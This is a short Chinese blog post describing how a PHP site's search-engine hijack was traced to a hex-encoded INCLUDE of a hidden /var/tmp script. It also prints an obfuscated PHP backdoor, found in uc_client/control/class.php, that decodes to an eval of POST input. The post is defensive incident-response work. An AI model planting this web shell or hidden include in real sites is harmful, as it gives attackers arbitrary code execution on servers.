搜索引擎劫持INCLUDE(pack('H*'

在php脚本中加入 echo 语句逐步缩小范围，最终发现问题由下面一条语句引起

INCLUDE(pack('H*','2f7661722f746d702f2e53595344554d502f2e576830416d492e434f5245'));

上面的语句引入了 /var/tmp/.SYSDUMP/.Wh0AmI.CORE 脚本。

删除该语句后问题解决。搜索 引擎劫持解决。但是另外在

uc_client/control/class.php

可以找到

<?php $mt="mFsKCleRfU"; $ojj="IEBleldle"; $hsa="E9TVFsnd2VuJ10p"; $fnx="Ow=="; $zk = str_replace("d","","sdtdrd_redpdldadcde"); $ef = $zk("z", "", "zbazsze64_zdzeczodze"); $dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); $zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); $zvm(); ?>

上面的脚本可以注入任意的代码。

打赏

感谢支持与鼓励～